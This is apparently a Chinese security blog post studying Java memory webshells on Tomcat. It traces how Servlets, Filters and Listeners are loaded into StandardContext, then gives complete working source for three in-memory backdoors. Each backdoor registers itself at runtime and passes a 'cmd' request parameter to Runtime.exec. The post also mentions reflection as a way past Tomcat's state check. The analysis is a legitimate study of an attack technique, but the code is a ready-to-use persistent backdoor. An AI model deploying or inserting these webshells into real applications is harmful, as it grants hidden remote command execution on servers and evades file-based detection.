Java内存马及其机制学习

前言

内存马之前有接触过,在阿里SRC的宙斯活动中薅了点羊毛,但当时只是会用,不了解他的原理。本文通过调试的方法了解内存马的原理,并实现常见的几种内存马。

前置知识

Java Web三大组件

Servlet

Servlet是Server Applet的缩写,即服务端小程序,可以接收客户端发送的请求,并将响应数据发送回客户端。Servlet是Java Web中最常用的一种组件,就算只用到了jsp或jspx开始,实际上也用到了Servlet,因为jsp和jspx本质上是HttpServlet,而HttpServlet又是Servlet的子类。

Filter

Filter可以在请求到达Servlet、响应到达客户端之前,对请求或响应做处理,因此Listener常被用来实现过滤或访问控制等。

Listener

Listener是用来监听某一事件的,具体可实现统计在线用户数、访问统计等。Listener的种类很多,有ServletContextAttributeListenerServletRequestAttributeListenerServletRequestListenerHttpSessionIdListenerHttpSessionAttributeListener。其中ServletRequestListener是用来监听请求的,很适合实现内存马。

两种上下文

与内存马相关的两种上下文是ApplicationContext和StandardContext。ApplicationContext是实现ServletContext的类,记录的是Servlet的一些上下文信息,而StandardContext记录的是包括web.xml在内的一些Web应用信息。

至于什么是Context,个人理解是与它的中文意思一样,上下文或语境,是一种小范围的环境变量,当然也因为是一个类,有相应的有方法操作这些上下文信息。

Context的获取也需要提一提,因为是后续内存马的加载依赖于StandardContext,是内存马的关键。其中常用的一种方法是通过HttpServletRequest对象的getServletContext方法获取ServletContext对象,实际上是封装了ApplicationContent的ApplicationContextFacade,而ApplicationContext又是tomcat中时实现ServletContext接口的类,然后其中有context属性,存储着StandardContext对象,可以通过反射获取。

如果没有request的话,还可以从线程中获取,详细分析可以看长亭一位师傅的文章:Tomcat的一种通用回显方法研究,除此之外还有从MBean中获取,但相对复杂一些。

web.xml加载和Tomcat启动流程调试

大多数师傅的内存马分析文章都是从ApplicationContext的addServletaddFilteraddListener方法了解Java Web三大组件的加载原理的,但本文从web.xml加载和Tomcat启动流程的角度分析内存马原理,不过实质上都是一样的,最终修改StandardCotext的内容实现的。

既然是调试,要先做些准备工作,在IDEA中新建一个Java Web项目后,还需在maven中添加个tomcat-embed-core的依赖如下,版本则设置与本地tomcat版本相同,方便下断点和调试。

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.71</version>
</dependency>

由于对tomcat的源码没有研究,所以真不知道段点应该在哪里下,好在在网上找到篇文章叫Tomcat应用 web.xml的加载过程。文中提到web.xml的加载到StandardContext由org.apache.catalina.startup.ContextConfig类的configureContext方法实现。

此时在web.xml中配置三大组件如下,并在configureContext方法处下段点即可开始调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<servlet>
<servlet-name>p1ay2win</servlet-name>
<servlet-class>com.p1ay2win.JavaWebMemoryShell.exploit.ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>p1ay2win</servlet-name>
<url-pattern>/p1ay2win</url-pattern>
</servlet-mapping>

<filter>
<filter-name>p1ay2win</filter-name>
<filter-class>com.p1ay2win.JavaWebMemoryShell.exploit.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>p1ay2win</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<listener>
<listener-class>com.p1ay2win.JavaWebMemoryShell.exploit.ListenerDemo</listener-class>
</listener>

使用webxml对象,也就是web.xml解析后的内容,调用的方法名可得知,configureContext方法先后使用属性context,也就是StandardContext的实例,添加Fiter、Listener和Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
...
wrapper.setName(servlet.getServletName());
...
wrapper.setServletClass(servlet.getServletClass());
...
context.addChild(wrapper);
}
for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

先说说Servlet加载的流程,StandardContext实例新建一个Wrapper,然后封装进Servlet名和Servlet类名的信息,在加入为StandardContext的子容器,这里对于的是web.xml中的<servlet>;接着获取ServletMapping信息,加入到StandardContext的ServletMapping中,对应的是<servlet-mapping>

在Filter的加载流程中,先后将FilterDef和FilterMap加入到StandardContext实例中,对应的是<filter><filter-mapping>

在Listener的加载流程中,只需将filter名加入到StandardContext实例的applicationListener中。

按照上述流程,写一个Servlet的内存马是正常的,而Filter和Listener就没有生效,与ApplicationContext的addFilteraddListener方法和正常加载web.xml的StandardContext实例对比,StandardContext实例正常情况下Filter还设置了的filterConfig,而Listener还设置了applicationEventListener。

对这两个属性下断点,加载了web.xml配置后,StandardContext实例还分别调用listenerStartfilterStart方法,设置了上述两个属性,所以内存马最终也需要调用listenerStartfilterStart方法才完成Listener和Filter的加载。

再说一个尝试写内存马时候遇到的坑,一开始也像网上大多数的例子一样在方法里实现Servlet、Filter和Listener接口,并实例化;然后完全按照tomcat启动流程加载这三个组件的时候没效果,在一个报错页面中看到无法实例化的异常,在StandardContext实例确实也没看到这三个组件的实例。于是从StandardContext的stratInternal方法一步一步调,发现会使用传入的三个组件的类名进行实例化,由于是在方法里实现的三个组件的接口类,这三个组件的类属于是内部类,所以普通的反射没法实例化这三个类,导致这三个组件没法正常加载。

小结

此处小结总结下三个主键的加载条件

Servlet

  • Wrapper封装Servlet的信息
  • 加入Wrapper到StandardContext的children中

Filter

  • 加入到StandardContext的filterDefs
  • 加入到StandardContext的filterMaps
  • 加入到StandardContext的filterConfigs

Listener

  • 加入Listener对象到StandardContext的applicationEventListener中

三种内存马实现

这里直接贴代码了

  • Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.p1ay2win.JavaWebMemoryShell.exploit;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
public ServletDemo() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

if (standardContext.findServletMapping("/p1ay2win") == null) {
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("p1ay2win");
wrapper.setServletClass(this.getClass().getName());
standardContext.addChild(wrapper);

standardContext.addServletMappingDecoded("/p1ay2win", "p1ay2win");
}
}

@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("cmd /c" + request.getParameter("cmd"));
}
}
  • Filter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.p1ay2win.JavaWebMemoryShell.exploit;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
public FilterDemo() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

if (standardContext.findFilterDef("p1ay2win") == null) {
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("p1ay2win");
filterDef.setFilterClass(this.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("p1ay2win");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
}
}

@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("cmd /c " + servletRequest.getParameter("cmd"));
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {
}
}
  • Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.p1ay2win.JavaWebMemoryShell.exploit;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;
import java.util.Arrays;

public class ListenerDemo implements ServletRequestListener {

public ListenerDemo() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
if (!Arrays.asList(standardContext.findApplicationListeners()).contains(this.getClass().getName())) {
standardContext.addApplicationListener(this.getClass().getName());
standardContext.listenerStart();
}
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
if (sre.getServletRequest().getParameter("cmd") != null)
Runtime.getRuntime().exec(sre.getServletRequest().getParameter("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}

内存马除了使用StandardContext自带的方法加载,还可使用ApplicationContext的addServltaddFilteraddListener方法加载,但之所以很少人使用这种方法,是因为addXXX方法都有下面这段代码,检测运行状态,不允许初始化后在添加组件。

1
2
3
4
5
if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(
sm.getString("applicationContext.addXXX.ise",
getContextPath()));
}

既然是属性,肯定是能够通过反射的方法修改它的值,然后绕过检测的,但本文因为篇幅问题就不给出实现代码了,也因为挺简单的,有兴趣的师傅可以试试。

后记

这里插个题外话,跟一个安全研究的师兄聊天的时候聊到了内存马,我向他请教说为什么说是内存马,但Catalina目录下会生成内存马的.class.java文件,不是无文件落地吗?还跟他探讨了一阵子。后来他意识到我是通过访问上传的jsp生成的内存马,而访问jsp文件时tomcat的机制是先从Catalina目录下找是否存在这个类,如果没有则会根据jsp文件生成HttpServlet类并编译,放到Catalina目录下,所以删除上传的jsp文件,Catalina目录下相应的内容也会被删除,但真正意义上的无文件还是通过反序列化实现。想想闹这出笑话也是6月份的时候了,感慨时间过得好快。😔

原本打算在文中也加上Spring内存马的内容,奈何Spring的启动流程比Tomcat复杂太多,Tomcat的调试也搞得我够呛的了,Spring的内容还是留在后续再研究吧。通过这次学习,感觉Java安全跟代码的相关性很强。加油吧,骚年

参考

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect%EF%BC%88%EF%BC%89

https://www.freebuf.com/articles/web/274466.html

https://su18.org/post/memory-shell/

https://github.com/bitterzzZZ/MemoryShellLearn

https://landgrey.me/blog/12/

https://www.freebuf.com/articles/web/274466.html

https://www.cnblogs.com/colin-xun/p/10573504.html

https://blog.csdn.net/lblblblblzdx/article/details/80946526

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×